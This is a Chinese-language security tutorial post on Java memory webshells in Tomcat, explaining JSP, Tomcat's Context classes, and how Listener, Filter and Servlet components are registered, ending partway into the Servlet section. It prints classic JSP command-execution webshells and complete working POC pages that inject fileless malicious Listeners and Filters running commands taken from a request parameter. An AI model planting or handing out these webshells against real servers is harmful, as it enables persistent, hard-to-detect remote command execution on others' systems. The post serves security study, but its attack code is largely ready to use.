Java安全学习——内存马

TL;DR

本文较长,适合先码后看,如有些许错误,还请师傅们斧正。文章中所有代码均在本地环境运行并测试通过,源码已备份至GitHub

JSP

在学习Java内存马之前,我们先来简单了解一下JSP技术。

什么是JSP

JSP(Java Server Pages),是Java的一种动态网页技术。在早期Java的开发技术中,Java程序员如果想要向浏览器输出一些数据,就必须得手动println一行行的HTML代码。为了解决这一繁琐的问题,Java开发了JSP技术。

JSP可以看作一个Java Servlet,主要用于实现Java web应用程序的用户界面部分。网页开发者们通过结合HTML代码、XHTML代码、XML元素以及嵌入JSP操作和命令来编写JSP。

当第一次访问JSP页面时,Tomcat服务器会将JSP页面翻译成一个java文件,并将其编译为.class文件。JSP通过网页表单获取用户输入数据、访问数据库及其他数据源,然后动态地创建网页。

JSP的语法

脚本程序

脚本程序可以包含任意量的Java语句、变量、方法或表达式,只要它们在脚本语言中是有效的。脚本程序的格式如下

<% 代码片段 %>

其等价于下面的XML语句

<jsp:scriptlet>
   代码片段
</jsp:scriptlet>

下面是使用示例

<html>
<body>
<h2>Hello World!!!</h2>
<% out.println("GoodBye!"); %>
</body>
</html>

JSP声明

一个声明语句可以声明一个或多个变量、方法,供后面的Java代码使用。JSP声明语句格式如下

<%! 声明  %>

同样等价于下面的XML语句

<jsp:declaration>
   代码片段
</jsp:declaration>

下面是使用示例

<html>
<body>
<h2>Hello World!!!</h2>
<%! String s= "GoodBye!"; %>
<% out.println(s); %>
</body>
</html>

JSP表达式

如果JSP表达式中为一个对象,则会自动调用其toString()方法。格式如下,注意表达式后没有;

<%= 表达式  %>

等价于下面的XML表达式

<jsp:expression>
   表达式
</jsp:expression>

下面是使用示例

<html>
<body>
<h2>Hello World!!!</h2>
<p>
<% String name = "Feng"; %>
username:<%=name%>
</p>
</body>
</html>

JSP指令

JSP指令用来设置与整个JSP页面相关的属性。下面有三种JSP指令

指令描述
<%@ page ... %>定义页面的依赖属性,比如脚本语言、error页面、缓存需求等等
<%@ include ... %>包含其他文件
<%@ taglib ... %>引入标签库的定义,可以是自定义标签

比如我们能通过page指令来设置jsp页面的编码格式

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<html>
<body>
<h2>Hello World!!!</h2>
<p>
<% String name = "枫"; %>
用户名:<%=name%>
</p>
</body>
</html>

JSP注释

格式如下

<%-- 注释内容 --%>

JSP内置对象

JSP有九大内置对象,他们能够在客户端和服务器端交互的过程中分别完成不同的功能。其特点如下

  • 由 JSP 规范提供,不用编写者实例化
  • 通过 Web 容器实现和管理
  • 所有 JSP 页面均可使用
  • 只有在脚本元素的表达式或代码段中才能使用
对象类型描述
requestjavax.servlet.http.HttpServletRequest获取用户请求信息
responsejavax.servlet.http.HttpServletResponse响应客户端请求,并将处理信息返回到客户端
responsejavax.servlet.jsp.JspWriter输出内容到 HTML 中
session javax.servlet.http.HttpSession用来保存用户信息
applicationjavax.servlet.ServletContext所有用户共享信息
configjavax.servlet.ServletConfig这是一个 Servlet 配置对象,用于 Servlet 和页面的初始化参数
pageContextjavax.servlet.jsp.PageContextJSP 的页面容器,用于访问 page、request、application 和 session 的属性
page javax.servlet.jsp.HttpJspPage类似于 Java 类的 this 关键字,表示当前 JSP 页面
exceptionjava.lang.Throwable 该对象用于处理 JSP 文件执行时发生的错误和异常;只有在 JSP 页面的 page 指令中指定 isErrorPage 的取值 true 时,才可以在本页面使用 exception 对象

Java木马

我们先来看看传统的JSP木马是如何实现的

<% Runtime.getRuntime().exec(request.getParameter("cmd"));%>

上面是最简单的一句话木马,没有回显,适合用来反弹shell。下面是一个带回显的JSP木马

<% if(request.getParameter("cmd")!=null){
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
        out.print(new String(b));
    }
    out.print("</pre>");
}

%>

传统的JSP木马特征性强,且需要文件落地,容易被查杀。因此现在出现了内存马技术。Java内存马又称”无文件马”,相较于传统的JSP木马,其最大的特点就是无文件落地,存在于内存之中,隐蔽性强。

Java内存马按照实现原理大致可以分为如下两种

  • 利用Java Web组件:动态添加恶意组件,如Servlet、Filter、Listener等。在Spring框架下就是Controller、Intercepter。
  • 修改字节码:利用Java的Instrument机制,动态注入Agent,在Java内存中动态修改字节码,在HTTP请求执行路径中的类中添加恶意代码,可以实现根据请求的参数执行任意代码。

Tomcat中的三种Context

我们下面在学习内存马的时候,常常会碰见ServletContext、ApplicationContext、StandardContext这三种Context。下面我就来捋一捋各Context之间的关系。不过在开始之前,你最好先简单了解一下Tomcat的架构Java安全学习——Tomcat架构浅析

Context

在Tomcat中,Context是Container组件的一种子容器,其对应的是一个Web应用。Context中可以包含多个Wrapper容器,而Wrapper对应的是一个具体的Servlet定义。因此Context可以用来保存一个Web应用中多个Servlet的上下文信息。

ServletContext

Servlet规范中规定了一个ServletContext接口,其用来保存一个Web应用中所有Servlet的上下文信息,可以通过ServletContext来对某个Web应用的资源进行访问和操作。其在Java中的具体实现是javax.servlet.ServletContext接口

package javax.servlet;


import java.io.InputStream;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Enumeration;
import java.util.EventListener;
import java.util.Map;
import java.util.Set;
import javax.servlet.ServletRegistration.Dynamic;
import javax.servlet.descriptor.JspConfigDescriptor;


public interface ServletContext {
    String TEMPDIR = "javax.servlet.context.tempdir";

    String getContextPath();
    ServletContext getContext(String var1);
    int getMajorVersion();
    int getMinorVersion();
    int getEffectiveMajorVersion();
    int getEffectiveMinorVersion();
    String getMimeType(String var1);
    Set getResourcePaths(String var1);
    URL getResource(String var1) throws MalformedURLException;
    InputStream getResourceAsStream(String var1);
    RequestDispatcher getRequestDispatcher(String var1);
    RequestDispatcher getNamedDispatcher(String var1);
    /** @deprecated */
    Servlet getServlet(String var1) throws ServletException;
    /** @deprecated */
    Enumeration getServlets();
    /** @deprecated */
    Enumeration getServletNames();
    void log(String var1);
    /** @deprecated */
    void log(Exception var1, String var2);
    void log(String var1, Throwable var2);
    String getRealPath(String var1);
    String getServerInfo();
    String getInitParameter(String var1);
    Enumeration getInitParameterNames();
    boolean setInitParameter(String var1, String var2);
    Object getAttribute(String var1);
    Enumeration getAttributeNames();

    void setAttribute(String var1, Object var2);

    void removeAttribute(String var1);

    String getServletContextName();
    
    Dynamic addServlet(String var1, String var2);

    Dynamic addServlet(String var1, Servlet var2);


    Dynamic addServlet(String var1, Class var2);

     extends Servlet> T createServlet(Classvar1) throws ServletException;

    ServletRegistration getServletRegistration(String var1);

    Map ? extends ServletRegistration> getServletRegistrations();

    javax.servlet.FilterRegistration.Dynamic addFilter(String var1, String var2);

    javax.servlet.FilterRegistration.Dynamic addFilter(String var1, Filter var2);

    javax.servlet.FilterRegistration.Dynamic addFilter(String var1, Class var2);

     extends Filter> T createFilter(Classvar1) throws ServletException;
    FilterRegistration getFilterRegistration(String var1);
    Map ? extends FilterRegistration> getFilterRegistrations();
    SessionCookieConfig getSessionCookieConfig();
    void setSessionTrackingModes(Setvar1);

    Set getDefaultSessionTrackingModes();

    Set getEffectiveSessionTrackingModes();

    void addListener(String var1);
     extends EventListener> void addListener(T var1);

    void addListener(Class var1);
     extends EventListener> T createListener(Classvar1) throws ServletException;
    JspConfigDescriptor getJspConfigDescriptor();
    ClassLoader getClassLoader();
    void declareRoles(String... var1);
}

可以看到ServletContext接口中定义了很多操作,能对Servlet中的各种资源进行访问、添加、删除等。

ApplicationContext

在Tomcat中,ServletContext接口的具体实现就是ApplicationContext类,其实现了ServletContext接口中定义的一些方法。

Tomcat这里使用了门面模式,对ApplicationContext类进行了封装,我们调用getServletContext()方法获得的其实是ApplicationContextFacade

public ApplicationContextFacade(ApplicationContext context) {
        super();
        this.context = context;

        classCache = new HashMap<>();
        objectCache = new ConcurrentHashMap<>();
        initClassCache();
    }

ApplicationContextFacade类方法中都会调用this.context相应的方法,因此最终调用的还是ApplicationContext类的方法。

StandardContext

org.apache.catalina.core.StandardContext是子容器Context的标准实现类,其中包含了对Context子容器中资源的各种操作。四种子容器都有其对应的标准实现如下

而在ApplicationContext类中,对资源的各种操作实际上是调用了StandardContext中的方法

...
@Override
    public String getRequestCharacterEncoding() {
        return context.getRequestCharacterEncoding();
    }
...

总结

我们可以用一张图来表示各Context的关系

ServletContext接口的实现类为ApplicationContext类和ApplicationContextFacade类,其中ApplicationContextFacade是对ApplicationContext类的包装。我们对Context容器中各种资源进行操作时,最终调用的还是StandardContext中的方法,因此StandardContext是Tomcat中负责与底层交互的Context。

Tomcat内存马

Tomcat内存马大致可以分为三类,分别是Listener型、Filter型、Servlet型。可能有些朋友会发现,这不正是Java Web核心的三大组件嘛!没错,Tomcat内存马的核心原理就是动态地将恶意组件添加到正在运行的Tomcat服务器中。

而这一技术的实现有赖于官方对Servlet3.0的升级,Servlet在3.0版本之后能够支持动态注册组件。而Tomcat直到7.x才支持Servlet3.0,因此通过动态添加恶意组件注入内存马的方式适合Tomcat7.x及以上。为了便于调试Tomcat,我们先在父项目的pom文件中引入Tomcat依赖

<dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-catalina</artifactId>
            <version>9.0.55</version>
</dependency>

Listener型

根据以上思路,我们的目标就是在服务器中动态注册一个恶意的Listener。而Listener根据事件源的不同,大致可以分为如下三种

  • ServletContextListener
  • HttpSessionListener
  • ServletRequestListener

很明显,ServletRequestListener是最适合用来作为内存马的。因为ServletRequestListener是用来监听ServletRequest对象的,当我们访问任意资源时,都会触发ServletRequestListener#requestInitialized()方法。下面我们来实现一个恶意的Listener

package Listener;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;

@WebListener
public class Shell_Listener implements ServletRequestListener {
    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
        if (cmd != null) {
            try {
                Runtime.getRuntime().exec(cmd);
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NullPointerException n) {
                n.printStackTrace();
            }
        }
    }

    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
    }
}

访问任意路由都可执行命令

下面的问题就是如何将恶意的Listener动态注册进服务器了,下面我们来分析一下Listener的创建过程。

Listener的创建过程

开启debug模式,我们先来看一下调用栈

requestInitialized:13, Shell_Listener (Listener)
fireRequestInitEvent:5992, StandardContext (org.apache.catalina.core)
invoke:121, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:687, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:357, CoyoteAdapter (org.apache.catalina.connector)
service:382, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:895, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1722, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

StandardContext#fireRequestInitEvent调用了我们的Listener,我们跟进看其实现

public boolean fireRequestInitEvent(ServletRequest request) {

        Object instances[] = getApplicationEventListeners();

        if ((instances != null) && (instances.length > 0)) {

            ServletRequestEvent event =
                    new ServletRequestEvent(getServletContext(), request);

            for (Object instance : instances) {
                if (instance == null) {
                    continue;
                }
                if (!(instance instanceof ServletRequestListener)) {
                    continue;
                }
                ServletRequestListener listener = (ServletRequestListener) instance;

                try {
                    listener.requestInitialized(event);
                } catch (Throwable t) {
                    ExceptionUtils.handleThrowable(t);
                    getLogger().error(sm.getString(
                            "standardContext.requestListener.requestInit",
                            instance.getClass().getName()), t);
                    request.setAttribute(RequestDispatcher.ERROR_EXCEPTION, t);
                    return false;
                }
            }
        }
        return true;
    }

关键代码有两处,首先通过getApplicationEventListeners()获取一个Listener数组,然后遍历数组调用listener.requestInitialized(event)方法触发Listener。跟进getApplicationEventListeners()方法

public Object[] getApplicationEventListeners() {
        return applicationEventListenersList.toArray();
    }

可以看到Listener实际上是存储在applicationEventListenersList属性中的

并且我们可以通过StandardContext#addApplicationEventListener()方法来添加Listener

public void addApplicationEventListener(Object listener) {
        applicationEventListenersList.add(listener);
    }

获取StandardContext类

下面的工作就是获取StandardContext类了,在StandardHostValve#invoke中,可以看到其通过request对象来获取StandardContext

同样地,由于JSP内置了request对象,我们也可以使用同样的方式来获取

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
%>

还有另一种获取方式如下

<%
	WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
%>

接着我们编写一个恶意的Listener

<%!
    public class Shell_Listener implements ServletRequestListener {

        public void requestInitialized(ServletRequestEvent sre) {
            HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
            String cmd = request.getParameter("cmd");
            if (cmd != null) {
                try {
                    Runtime.getRuntime().exec(cmd);
                } catch (IOException e) {
                    e.printStackTrace();
                } catch (NullPointerException n) {
                    n.printStackTrace();
                }
            }
        }

        public void requestDestroyed(ServletRequestEvent sre) {
        }
    }
%>

最后添加监听器

<%
	Shell_Listener shell_Listener = new Shell_Listener();
    context.addApplicationEventListener(shell_Listener);
%>

完整POC

至此我们可以总结出Listener型内存马的实现步骤

  1. 获取StandardContext上下文
  2. 实现一个恶意Listener
  3. 通过StandardContext#addApplicationEventListener方法添加恶意Listener

完整POC如下

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>

<%!
    public class Shell_Listener implements ServletRequestListener {

        public void requestInitialized(ServletRequestEvent sre) {
            HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
           String cmd = request.getParameter("cmd");
           if (cmd != null) {
               try {
                   Runtime.getRuntime().exec(cmd);
               } catch (IOException e) {
                   e.printStackTrace();
               } catch (NullPointerException n) {
                   n.printStackTrace();
               }
            }
        }

        public void requestDestroyed(ServletRequestEvent sre) {
        }
    }
%>
<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();

    Shell_Listener shell_Listener = new Shell_Listener();
    context.addApplicationEventListener(shell_Listener);
%>

访问Listener.jsp

此时Tomcat已经添加了我们恶意的Listener,访问任意路由即可触发

Filter型

仿照Listener型内存马的实现思路,我们同样能实现Filter型内存马。我们知道,在Servlet容器中,Filter的调用是通过FilterChain实现的

同样地,我们先来实现一个恶意的Filter

package Filter;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;

@WebFilter("/*")
public class Shell_Filter implements Filter {
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            try {
                Runtime.getRuntime().exec(cmd);
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NullPointerException n) {
                n.printStackTrace();
            }
        }
        chain.doFilter(request, response);
    }
}

Filter调用分析

我们在doFilter处打上断点,调用栈如下

doFilter:11, Shell_Filter (Filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
invoke:197, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:540, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:135, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:687, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:357, CoyoteAdapter (org.apache.catalina.connector)
service:382, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:895, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1722, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

跟进ApplicationFilterChain#internalDoFilter

private void internalDoFilter(ServletRequest request,
                                  ServletResponse response)
        throws IOException, ServletException {

        // Call the next filter if there is one
        if (pos < n) {
            ApplicationFilterConfig filterConfig = filters[pos++];
            try {
                Filter filter = filterConfig.getFilter();

                if (request.isAsyncSupported() && "false".equalsIgnoreCase(
                        filterConfig.getFilterDef().getAsyncSupported())) {
                    request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE);
                }
                if( Globals.IS_SECURITY_ENABLED ) {
                    final ServletRequest req = request;
                    final ServletResponse res = response;
                    Principal principal =
                        ((HttpServletRequest) req).getUserPrincipal();

                    Object[] args = new Object[]{req, res, this};
                    SecurityUtil.doAsPrivilege ("doFilter", filter, classType, args, principal);
                } else {
                    filter.doFilter(request, response, this);
                }
            } 
...
    }

调用了filter.doFilter(),而filter是通过filterConfig.getFilter()得到的,filterConfig定义如下

private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];

...
ApplicationFilterConfig filterConfig = filters[pos++]

我们知道,一个filterConfig对应一个Filter,用于存储Filter的上下文信息。这里的filters属性是一个ApplicationFilterConfig数组。我们来寻找一下ApplicationFilterChain.filters属性在哪里被赋值。

StandardWrapperValve#invoke()方法中,通过ApplicationFilterFactory.createFilterChain()方法初始化了一个ApplicationFilterChain

我们跟进

public static ApplicationFilterChain createFilterChain(ServletRequest request,
            Wrapper wrapper, Servlet servlet) {

        ...
        // Request dispatcher in use
        filterChain = new ApplicationFilterChain();

        filterChain.setServlet(servlet);
        filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());

        // Acquire the filter mappings for this Context
        StandardContext context = (StandardContext) wrapper.getParent();
        FilterMap filterMaps[] = context.findFilterMaps();

        ...

        String servletName = wrapper.getName();

        // Add the relevant path-mapped filters to this filter chain
        for (FilterMap filterMap : filterMaps) {
            
            ...
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
                    context.findFilterConfig(filterMap.getFilterName());
            ...

            filterChain.addFilter(filterConfig);
        }

        ...

        // Return the completed filter chain
        return filterChain;
    }

这里我省略了函数中一些不重要的判断,从createFilterChain函数中,我们能够清晰地看到filterChain对象的创建过程

  1. 首先通过filterChain = new ApplicationFilterChain()创建一个空的filterChain对象
  2. 然后通过wrapper.getParent()函数来获取StandardContext对象
  3. 接着获取StandardContext中的FilterMaps对象,FilterMaps对象中存储的是各Filter的名称路径等信息
  4. 最后根据Filter的名称,在StandardContext中获取FilterConfig
  5. 通过filterChain.addFilter(filterConfig)将一个filterConfig添加到filterChain
FilterMaps对象

可以看到在ApplicationFilterChain#addFilter方法,filterConfig被添加到filters中

void addFilter(ApplicationFilterConfig filterConfig) {

        // Prevent the same filter being added multiple times
        for(ApplicationFilterConfig filter:filters) {
            if(filter==filterConfig) {
                return;
            }
        }

        if (n == filters.length) {
            ApplicationFilterConfig[] newFilters =
                new ApplicationFilterConfig[n + INCREMENT];
            System.arraycopy(filters, 0, newFilters, 0, n);
            filters = newFilters;
        }
        filters[n++] = filterConfig;

    }

所以关键就是将恶意Filter的信息添加进FilterConfig数组中,这样Tomcat在启动时就会自动初始化我们的恶意Filter。

FilterConfig、FilterDef和FilterMaps

跟进到createFilterChain函数中,我们能看到此时的上下文对象StandardContext实际上是包含了这三者的

filterConfigs

其中filterConfigs包含了当前的上下文信息StandardContext、以及filterDef等信息

filterConfigs

其中filterDef存放了filter的定义,包括filterClass、filterName等信息。对应的其实就是web.xml中的<filter>标签。

filterDef
<filter>
    <filter-name></filter-name>
    <filter-class></filter-class>
</filter>

可以看到,filterDef必要的属性为filterfilterClass以及filterName

filterDefs

filterDefs是一个HashMap,以键值对的形式存储filterDef

filterDefs
filterMaps

filterMaps中以array的形式存放各filter的路径映射信息,其对应的是web.xml中的<filter-mapping>标签

filterMaps
<filter-mapping>
    <filter-name></filter-name>
    <url-pattern></url-pattern>
</filter-mapping>

filterMaps必要的属性为dispatcherMappingfilterNameurlPatterns

于是下面的工作就是构造含有恶意filter的FilterMaps和FilterConfig对象,并将FilterConfig添加到filter链中了。

动态注册Filter

经过上面的分析,我们可以总结出动态添加恶意Filter的思路

  1. 获取StandardContext对象
  2. 创建恶意Filter
  3. 使用FilterDef对Filter进行封装,并添加必要的属性
  4. 创建filterMap类,并将路径和Filtername绑定,然后将其添加到filterMaps中
  5. 使用ApplicationFilterConfig封装filterDef,然后将其添加到filterConfigs中
获取StandardContext对象

StandardContext对象主要用来管理Web应用的一些全局资源,如Session、Cookie、Servlet等。因此我们有很多方法来获取StandardContext对象。

Tomcat在启动时会为每个Context都创建个ServletContext对象,来表示一个Context,从而可以将ServletContext转化为StandardContext。

//获取ApplicationContextFacade类
ServletContext servletContext = request.getSession().getServletContext();

//反射获取ApplicationContextFacade类属性context为ApplicationContext类
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);

//反射获取ApplicationContext类属性context为StandardContext类
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
创建恶意Filter
public class Shell_Filter implements Filter {
    
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        String cmd=request.getParameter("cmd");
        try {
            Runtime.getRuntime().exec(cmd);
        } catch (IOException e) {
            e.printStackTrace();
        }catch (NullPointerException n){
            n.printStackTrace();
        }
    }
}
使用FilterDef封装filter
//filter名称
String name = "CommonFilter";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
创建filterMap

filterMap用于filter和路径的绑定

FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
封装filterConfig及filterDef到filterConfigs
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
    
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name, filterConfig);

完整POC

<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.util.Map" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>


<%
    ServletContext servletContext = request.getSession().getServletContext();
    Field appContextField = servletContext.getClass().getDeclaredField("context");
    appContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
%>

<%! public class Shell_Filter implements Filter {
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
            String cmd = request.getParameter("cmd");
            if (cmd != null) {
                try {
                    Runtime.getRuntime().exec(cmd);
                } catch (IOException e) {
                    e.printStackTrace();
                } catch (NullPointerException n) {
                    n.printStackTrace();
                }
            }
            chain.doFilter(request, response);
        }
    }
%>

<%
    Shell_Filter filter = new Shell_Filter();
    String name = "CommonFilter";
    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(filter);
    filterDef.setFilterName(name);
    filterDef.setFilterClass(filter.getClass().getName());
    standardContext.addFilterDef(filterDef);


    FilterMap filterMap = new FilterMap();
    filterMap.addURLPattern("/*");
    filterMap.setFilterName(name);
    filterMap.setDispatcher(DispatcherType.REQUEST.name());
    standardContext.addFilterMapBefore(filterMap);


    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
    filterConfigs.put(name, filterConfig);
%>

先访问jsp木马

此时已经动态注册了我们的恶意Filter,访问任意路由即可执行命令

Servlet型

同样地,我们先实现一个恶意的Servlet

package Servlet;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.IOException;

@WebServlet("/shell")
public class Shell_Servlet implements Servlet {
    @Override
    public void init(ServletConfig config) throws ServletException {

    }

    @Override
    public ServletConfig getServletConfig() {
        return null;
    }

    @Override
    public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
        String cmd = req.getParameter("cmd");
        if (cmd !=null){
            try{
                Runtime.getRuntime().exec(cmd);
            }catch (IOException e){
                e.printStackTrace();
            }catch (NullPointerException n){
                n.printStackTrace();
            }
        }
    }

    @Override
    public String getServletInfo() {
        return null;
    }

    @Override
    public void destroy() {

    }
}

下面就是实现动态注册Servlet了。

Servlet创建流程

我们知道Servlet的生命周期分为如下五部分

  1. 加载:当Tomcat第一次访问Servlet的时候,Tomcat会负责创建Servlet的实例
  2. 初始化:当Servlet被实例化后,Tomcat会调用init()方法初始化这个对象
  3. 处理服务:当浏览器访问Servlet的时候,Servlet 会调用service()方法处理请求
  4. 销毁:当Tomcat关闭时或者检测到Servlet要从Tomcat删除的时候会自动调用destroy()方法,让该实例释放掉所占的资源。一个Servlet如果长时间不被使用的话,也会被Tomcat自动销毁
  5. 卸载:当Servlet调用完destroy()方法后,等待垃圾回收。如果有需要再次使用这个Servlet,会重新调用init()方法进行初始化操作

前文我们已经分析过,在org.apache.catalina.core.StandardContext类的startInternal()方法中,我们能看到Listener->Filter->Servlet的加载顺序

...

if (ok) {
                if (!listenerStart()) {
                    log.error(sm.getString("standardContext.listenerFail"));
                    ok = false;
                }
            }


            try {
                // Start manager
                Manager manager = getManager();
                if (manager instanceof Lifecycle) {
                    ((Lifecycle) manager).start();
                }
            } catch(Exception e) {
                log.error(sm.getString("standardContext.managerFail"), e);
                ok = false;
            }

            // Configure and call application filters
            if (ok) {
                if (!filterStart()) {
                    log.error(sm.getString("standardContext.filterFail"));
                    ok = false;
                }
            }

            // Load and initialize all "load on startup" servlets
            if (ok) {
                if (!loadOnStartup(findChildren())){
                    log.error(sm.getString("standardContext.servletFail"));
                    ok = false;
                }
            }


            // Start ContainerBackgroundProcessor thread
            super.threadStart();
        }if (ok) {
                if (!listenerStart()) {
                    log.error(sm.getString("standardContext.listenerFail"));
                    ok = false;
                }
            }


            try {
                // Start manager
                Manager manager = getManager();
                if (manager instanceof Lifecycle) {
                    ((Lifecycle) manager).start();
                }
            } catch(Exception e) {
                log.error(sm.getString("standardContext.managerFail"), e);
                ok = false;
            }

            // Configure and call application filters
            if (ok) {
                if (!filterStart()) {
                    log.error(sm.getString("standardContext.filterFail"));
                    ok = false;
                }
            }

            // Load and initialize all "load on startup" servlets
            if (ok) {
                if (!loadOnStartup(findChildren())){
                    log.error(sm.getString("standardContext.servletFail"));
                    ok = false;
                }

            }

            // Start ContainerBackgroundProcessor thread

            super.threadStart();

        }

...

创建StandardWrapper

StandardContext#startInternal中,调用了fireLifecycleEvent()方法解析web.xml文件,我们跟进

protected void fireLifecycleEvent(String type, Object data) {
        LifecycleEvent event = new LifecycleEvent(this, type, data);
        for (LifecycleListener listener : lifecycleListeners) {
            listener.lifecycleEvent(event);
        }
    }

最终通过ContextConfig#webConfig()方法解析web.xml获取各种配置参数

然后通过configureContext(webXml)方法创建StandWrapper对象,并根据解析参数初始化StandWrapper对象

 private void configureContext(WebXml webxml) {
        // As far as possible, process in alphabetical order so it is easy to
        // check everything is present
        // Some validation depends on correct public ID
        context.setPublicId(webxml.getPublicId());

...   //设置StandardContext参数

        
        for (ServletDef servlet : webxml.getServlets().values()) {

            //创建StandardWrapper对象
            Wrapper wrapper = context.createWrapper();

            if (servlet.getLoadOnStartup() != null) {

                //设置LoadOnStartup属性
                wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
            }
            if (servlet.getEnabled() != null) {
                wrapper.setEnabled(servlet.getEnabled().booleanValue());
            }

            //设置ServletName属性
            wrapper.setName(servlet.getServletName());
            Map<String,String> params = servlet.getParameterMap();
            for (Entry<String, String> entry : params.entrySet()) {
                wrapper.addInitParameter(entry.getKey(), entry.getValue());
            }
            wrapper.setRunAs(servlet.getRunAs());
